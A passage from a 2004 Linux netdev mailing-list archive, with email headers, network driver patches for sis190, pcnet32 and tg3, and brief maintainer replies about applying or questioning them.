OWNbit) == 0) { struct sk_buff *skb; @@ -981,7 +982,6 @@ SiS190_tx_interrupt(struct net_device *d tp->stats.tx_packets++; dirty_tx++; tx_left--; - entry++; } } _ From jgarzik@pobox.com Wed Feb 18 16:13:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:13:19 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J0DFKO010589 for ; Wed, 18 Feb 2004 16:13:15 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39321 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AtboX-0000Zr-M2; Thu, 19 Feb 2004 00:13:13 +0000 Message-ID: <4033FF8E.2090002@pobox.com> Date: Wed, 18 Feb 2004 19:13:02 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jhf@rivenstone.net CC: netdev@oss.sgi.com Subject: Re: 2.6 sis900 (and tlan?) multicast bug References: <20040126204215.GA25578@rivenstone.net> <40159331.80808@pobox.com> <20040212045321.GA15355@rivenstone.net> In-Reply-To: <20040212045321.GA15355@rivenstone.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3376 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.4 and 2.6 From brazilnut@us.ibm.com Wed Feb 18 16:15:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:15:23 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J0FIKO010936 for ; Wed, 18 Feb 2004 16:15:19 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1J0F9nD258994; Wed, 18 Feb 2004 19:15:09 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1J0F8Jd135704; Wed, 18 Feb 2004 19:15:08 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1J0EUo03980; Wed, 18 Feb 2004 16:14:30 -0800 From: Don Fry Message-Id: <200402190014.i1J0EUo03980@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.6.3 pcnet32.c transmit hang fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 18 Feb 2004 16:14:30 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3377 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev The transmit routine will stop interrupting and hang, causing the tx_timeout routine to attempt to restart the device when the 32-bit cur_tx counter wraps below dirty_tx. If the device had called netif_stop_queue it will never call netif_wake_queue in the interrupt routine (at least on an IA32 system) due to 32-bit wrap around arithmetic. On my IA32 system 'dirty_tx > lp->cur_tx - TX_RING_SIZE + 2' would always evaluate to false when dirty and cur_tx were less than 15, preventing netif_wake_queue to be called. By starting dirty_tx and cur_tx at 0xfffffff0 (to reduce test time) I found that once cur_tx wrapped to zero, that transmitted buffers would never be unmapped or freed because 'while (dirty_tx < lp->cur_tx) {' was not true. cur_tx would keep incrementing (in start_xmit) but dirty_tx would not (in pcnet32_interrupt), thus leaking skb's and pci map entries. On PPC machines, the system would quickly run out of pci maps. Fix tested on PPC and IA32. --- linux-2.6.3/drivers/net/slab.pcnet32.c Wed Feb 18 15:26:43 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Wed Feb 18 15:36:59 2004 @@ -1082,7 +1082,7 @@ pcnet32_restart(dev, 0x0042); dev->trans_start = jiffies; - netif_start_queue(dev); + netif_wake_queue(dev); spin_unlock_irqrestore(&lp->lock, flags); } @@ -1108,9 +1108,10 @@ * interrupt when that option is available to us. */ status = 0x8300; + entry = (lp->cur_tx - lp->dirty_tx) & TX_RING_MOD_MASK; if ((lp->ltint) && - ((lp->cur_tx - lp->dirty_tx == TX_RING_SIZE/2) || - (lp->cur_tx - lp->dirty_tx >= TX_RING_SIZE-2))) + ((entry == TX_RING_SIZE/2) || + (entry >= TX_RING_SIZE-2))) { /* Enable Successful-TxDone interrupt if we have * 1/2 of, or nearly all of, our ring buffer Tx'd @@ -1125,7 +1126,7 @@ /* Mask to ring buffer boundary. */ entry = lp->cur_tx & TX_RING_MOD_MASK; - /* Caution: the write order is important here, set the base address + /* Caution: the write order is important here, set the status with the "ownership" bits last. */ lp->tx_ring[entry].length = le16_to_cpu(-skb->len); @@ -1147,7 +1148,7 @@ dev->trans_start = jiffies; if (lp->tx_ring[(entry+1) & TX_RING_MOD_MASK].base == 0) - netif_start_queue(dev); + netif_wake_queue(dev); else { lp->tx_full = 1; netif_stop_queue(dev); @@ -1194,8 +1195,9 @@ if (csr0 & 0x0200) { /* Tx-done interrupt */ unsigned int dirty_tx = lp->dirty_tx; + int delta; - while (dirty_tx < lp->cur_tx) { + while (dirty_tx != lp->cur_tx) { int entry = dirty_tx & TX_RING_MOD_MASK; int status = (short)le16_to_cpu(lp->tx_ring[entry].status); @@ -1249,15 +1251,17 @@ dirty_tx++; } - if (lp->cur_tx - dirty_tx >= TX_RING_SIZE) { + delta = (lp->cur_tx - dirty_tx) & (TX_RING_MOD_MASK + TX_RING_SIZE); + if (delta >= TX_RING_SIZE) { printk(KERN_ERR "%s: out-of-sync dirty pointer, %d vs. %d, full=%d.\n", dev->name, dirty_tx, lp->cur_tx, lp->tx_full); dirty_tx += TX_RING_SIZE; + delta -= TX_RING_SIZE; } if (lp->tx_full && netif_queue_stopped(dev) && - dirty_tx > lp->cur_tx - TX_RING_SIZE + 2) { + delta < TX_RING_SIZE - 2) { /* The ring is no longer full, clear tbusy. */ lp->tx_full = 0; netif_wake_queue (dev); -- Don Fry brazilnut@us.ibm.com From shemminger@osdl.org Wed Feb 18 16:16:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:16:25 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J0GLKO011278 for ; Wed, 18 Feb 2004 16:16:22 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1J0GBE15779; Wed, 18 Feb 2004 16:16:11 -0800 Date: Wed, 18 Feb 2004 16:16:11 -0800 From: Stephen Hemminger To: Paul Schulz Cc: netdev@oss.sgi.com, sjolly@foursticks.com Subject: Re: [Bridge] Bridging on broken Broadcom hardware. Message-Id: <20040218161611.6365c3bf@dell_ss3.pdx.osdl.net> In-Reply-To: <1077146945.3779.17.camel@localhost> References: <1077146945.3779.17.camel@localhost> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3378 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev This looks like a network driver not bridging problem, so forwarding to the netdev list. On Thu, 19 Feb 2004 09:59:05 +1030 Paul Schulz wrote: > Greetings (first post to the list, with patch)... > > The following patch is required to allow bridging to occur on an > IBM x305 (1RU server) - with the tg3 module. > (This has been posted to the kernel-developers mailing list.) > > Background: > - The Dual Broadcom NICs in the IBM x305 have a broken checksum > routine which wants to calculate the checksum the ethernet > packet where the 'source' IP address is the IP address > of the sending interface. > This breaks bridging! (Upstream hosts see an invalid checksum > and drop the packet.) > > - I have heard of other issues with Broadcom NICs not > working with IPv6 and broadcast/multicast which could be > related. > > I would like to get these results and the fix verified, as it will > effect any hosts using this chipset. Does anyone have any pointers? > > Paul Schulz > > -------------------------------------------------------------------- > diff -Naur linux-2.4.20/drivers/net/tg3.c linux-2.4.20-np/drivers/net/tg3.c > --- linux-2.4.20/drivers/net/tg3.c Fri Nov 29 10:23:14 2002 > +++ linux-2.4.20-np/drivers/net/tg3.c Thu Jan 23 14:46:54 2003 > @@ -6161,6 +6161,11 @@ > if (tp->pci_chip_rev_id == CHIPREV_ID_5700_B0) > tp->tg3_flags |= TG3_FLAG_BROKEN_CHECKSUMS; > > + /* 5703 A2 have issues with checksumming too. (sarah) */ > + if (tp->pci_chip_rev_id == CHIPREV_ID_5703_A2) > + tp->tg3_flags |= TG3_FLAG_BROKEN_CHECKSUMS; > + > /* Regardless of whether checksums work or not, we configure > * the StrongARM chips to not compute the pseudo header checksums > * in either direction. Because of the way Linux checksum support > > > > -- Stephen Hemminger mailto:shemminger@osdl.org Open Source Development Lab http://developer.osdl.org/shemminger From davem@redhat.com Wed Feb 18 16:25:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:25:39 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J0PZKO014707 for ; Wed, 18 Feb 2004 16:25:35 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1J0PYb22020; Wed, 18 Feb 2004 19:25:34 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1J0PXi32063; Wed, 18 Feb 2004 19:25:33 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1J0PUkC011137; Wed, 18 Feb 2004 19:25:30 -0500 Date: Wed, 18 Feb 2004 16:25:33 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.4 SCTP fixes Message-Id: <20040218162533.2d03b787.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3379 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 18 Feb 2004 15:15:46 -0800 (PST) Sridhar Samudrala wrote: > I have updated lksctp 2.4 BK tree to 2.4.25 and pulled in the SCTP > csets that were excluded by Marcelo due to the config problem. ... > Please pull these csets from > http://linux-lksctp.bkbits.net/lksctp-2.4.work Excellent, thanks for taking care of this. From davem@redhat.com Wed Feb 18 16:29:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:29:16 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J0TAKO015101 for ; Wed, 18 Feb 2004 16:29:10 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1J0T6b22926; Wed, 18 Feb 2004 19:29:06 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1J0T5i00427; Wed, 18 Feb 2004 19:29:05 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1J0T2kC012300; Wed, 18 Feb 2004 19:29:02 -0500 Date: Wed, 18 Feb 2004 16:29:04 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: pschulz@foursticks.com, netdev@oss.sgi.com, sjolly@foursticks.com Subject: Re: [Bridge] Bridging on broken Broadcom hardware. Message-Id: <20040218162904.46c1287a.davem@redhat.com> In-Reply-To: <20040218161611.6365c3bf@dell_ss3.pdx.osdl.net> References: <1077146945.3779.17.camel@localhost> <20040218161611.6365c3bf@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3380 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 18 Feb 2004 16:16:11 -0800 Stephen Hemminger wrote: > This looks like a network driver not bridging problem, so forwarding to > the netdev list. Bridging packets, which don't come from the IP stack, won't have CHECKSUM_HW or similar set in the SKB checksum field. Therefore the chip won't be told to checksum the packet on transmit. The firmware will not mess with the packet contents at all unless it is told to do so, and in this case (as described) it won't. > > + /* 5703 A2 have issues with checksumming too. (sarah) */ > > + if (tp->pci_chip_rev_id == CHIPREV_ID_5703_A2) > > + tp->tg3_flags |= TG3_FLAG_BROKEN_CHECKSUMS; > > + I'd like to see a real errata report supporting such a claim. From jgarzik@pobox.com Wed Feb 18 16:30:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:30:07 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J0U2KO018161 for ; Wed, 18 Feb 2004 16:30:02 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39333 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Atc4n-0000kZ-Ap; Thu, 19 Feb 2004 00:30:01 +0000 Message-ID: <4034037D.6070000@pobox.com> Date: Wed, 18 Feb 2004 19:29:49 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: netdev@oss.sgi.com Subject: Re: [janitor] tr/3c359: handle kmalloc failures during init References: <20040118211558.7d85c1e2.rddunlap@osdl.org> In-Reply-To: <20040118211558.7d85c1e2.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3381 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied From jgarzik@pobox.com Wed Feb 18 16:30:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:30:12 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J0U7KO018543 for ; Wed, 18 Feb 2004 16:30:08 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39334 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Atc4t-0000ka-4K; Thu, 19 Feb 2004 00:30:07 +0000 Message-ID: <40340383.5020801@pobox.com> Date: Wed, 18 Feb 2004 19:29:55 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: netdev@oss.sgi.com Subject: Re: [PATCH[ depca: remove double semi-colon References: <20040125165633.2660c082.rddunlap@osdl.org> In-Reply-To: <20040125165633.2660c082.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3382 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied From jgarzik@pobox.com Wed Feb 18 16:30:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:30:25 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J0UIKO019515 for ; Wed, 18 Feb 2004 16:30:19 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39336 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Atc53-0000l1-QK; Thu, 19 Feb 2004 00:30:17 +0000 Message-ID: <4034038E.4000807@pobox.com> Date: Wed, 18 Feb 2004 19:30:06 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.3 pcnet32.c transmit hang fix References: <200402190014.i1J0EUo03980@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200402190014.i1J0EUo03980@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3383 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.6, please send 2.4 version. From jgarzik@pobox.com Wed Feb 18 16:34:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:34:33 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J0YTKO024005 for ; Wed, 18 Feb 2004 16:34:30 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39341 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Atc96-0000ni-Sp; Thu, 19 Feb 2004 00:34:29 +0000 Message-ID: <40340489.2020403@pobox.com> Date: Wed, 18 Feb 2004 19:34:17 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francois Romieu CC: netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.3 - drivers/net/sis190.c - Tx desc overflow References: <20040219010521.A23025@electric-eye.fr.zoreil.com> In-Reply-To: <20040219010521.A23025@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3384 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied From jgarzik@pobox.com Wed Feb 18 16:40:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:40:30 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J0eQKO024422 for ; Wed, 18 Feb 2004 16:40:27 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39347 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AtcEr-0000sJ-Nd; Thu, 19 Feb 2004 00:40:25 +0000 Message-ID: <403405EE.4020503@pobox.com> Date: Wed, 18 Feb 2004 19:40:14 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: Paul Gortmaker , netdev@oss.sgi.com Subject: Re: [PATCH 2.6.1] Allow pcnet_cs to work with shared irq References: <20040120162251.291a0e39.shemminger@osdl.org> In-Reply-To: <20040120162251.291a0e39.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3385 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Patch looks OK, but doesn't apply anymore. Please resend... From pschulz@foursticks.com Wed Feb 18 17:10:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 17:10:12 -0800 (PST) Received: from mail.foursticks.com (mail.foursticks.com [150.101.16.227]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J1A5KO024949 for ; Wed, 18 Feb 2004 17:10:05 -0800 Received: from adlex1.adl.foursticks.com ([10.128.2.16]) by mail.foursticks.com with esmtp (Exim 3.36 #1 (Debian)) id 1AtchT-0004wj-00 for ; Thu, 19 Feb 2004 11:39:59 +1030 content-class: urn:content-classes:message Subject: RE: [Bridge] Bridging on broken Broadcom hardware. MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Thu, 19 Feb 2004 11:39:00 +1030 Message-ID: <8E9CC2201AD4134E93C95C8BD6E181D4032158@adlex1.adl.foursticks.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [Bridge] Bridging on broken Broadcom hardware. Thread-Index: AcP2f0H5Nq26m1ToSOmbJZ9ukNg3+QABEX6Q From: "Paul Schulz" To: Cc: , "Stephen Hemminger" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1J1A5KO024949 X-archive-position: 3386 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pschulz@foursticks.com Precedence: bulk X-list: netdev Hi David, What additional information would you like to have? Paul Schulz - Software Engineer Foursticks Pty Ltd - Level 16, 33 King William St, Adelaide 5000 Phone: +61 8 8111 4300 Fax: +61 8 8111 4399 Mobile: +61 401 981 301 Email: pschulz@foursticks.com Web: www.foursticks.com -----Original Message----- From: David S. Miller [mailto:davem@redhat.com] Sent: Thursday, February 19, 2004 10:59 AM To: Stephen Hemminger Cc: Paul Schulz; netdev@oss.sgi.com; Simon Jolly Subject: Re: [Bridge] Bridging on broken Broadcom hardware. On Wed, 18 Feb 2004 16:16:11 -0800 Stephen Hemminger wrote: > This looks like a network driver not bridging problem, so forwarding to > the netdev list. Bridging packets, which don't come from the IP stack, won't have CHECKSUM_HW or similar set in the SKB checksum field. Therefore the chip won't be told to checksum the packet on transmit. The firmware will not mess with the packet contents at all unless it is told to do so, and in this case (as described) it won't. > > + /* 5703 A2 have issues with checksumming too. (sarah) */ > > + if (tp->pci_chip_rev_id == CHIPREV_ID_5703_A2) > > + tp->tg3_flags |= TG3_FLAG_BROKEN_CHECKSUMS; > > + I'd like to see a real errata report supporting such a claim. From davem@redhat.com Wed Feb 18 17:12:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 17:12:09 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J1C4KO025308 for ; Wed, 18 Feb 2004 17:12:04 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1J1C0b01067; Wed, 18 Feb 2004 20:12:00 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1J1C0i10042; Wed, 18 Feb 2004 20:12:00 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1J1BukC024728; Wed, 18 Feb 2004 20:11:57 -0500 Date: Wed, 18 Feb 2004 17:11:59 -0800 From: "David S. Miller" To: Stefan Rompf Cc: netdev@oss.sgi.com Subject: Re: Patch: Make linkwatch more robust against rtnl holders Message-Id: <20040218171159.62e76670.davem@redhat.com> In-Reply-To: <200402151511.49432.srompf@isg.de> References: <200402151511.49432.srompf@isg.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3387 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 15 Feb 2004 15:11:47 +0100 Stefan Rompf wrote: > the attached patch updates the linkwatch code so that it backs off and retries > whenever it cannot get the rtnl semaphore. I think we should fix locking conflicts created by things like what the sungem driver is doing instead. From jgarzik@pobox.com Wed Feb 18 17:18:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 17:18:45 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J1IdKO025693 for ; Wed, 18 Feb 2004 17:18:39 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39400 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Atcpq-0001VU-2K; Thu, 19 Feb 2004 01:18:38 +0000 Message-ID: <40340EE2.1010305@pobox.com> Date: Wed, 18 Feb 2004 20:18:26 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: Stefan Rompf , netdev@oss.sgi.com Subject: Re: Patch: Make linkwatch more robust against rtnl holders References: <200402151511.49432.srompf@isg.de> <20040218171159.62e76670.davem@redhat.com> In-Reply-To: <20040218171159.62e76670.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3388 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev David S. Miller wrote: > On Sun, 15 Feb 2004 15:11:47 +0100 > Stefan Rompf wrote: > > >>the attached patch updates the linkwatch code so that it backs off and retries >>whenever it cannot get the rtnl semaphore. > > > I think we should fix locking conflicts created by things like what > the sungem driver is doing instead. Agreed. Jeff From davem@redhat.com Wed Feb 18 17:24:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 17:25:03 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J1OsKO027511 for ; Wed, 18 Feb 2004 17:24:55 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1J1Ogb03879; Wed, 18 Feb 2004 20:24:42 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1J1Ogi12591; Wed, 18 Feb 2004 20:24:42 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1J1OckC028007; Wed, 18 Feb 2004 20:24:38 -0500 Date: Wed, 18 Feb 2004 17:24:41 -0800 From: "David S. Miller" To: James Morris Cc: mika.penttila@kolumbus.fi, laforge@netfilter.org, netdev@oss.sgi.com, sds@epoch.ncsc.mil Subject: Re: [PATCH] Fix checksum bug 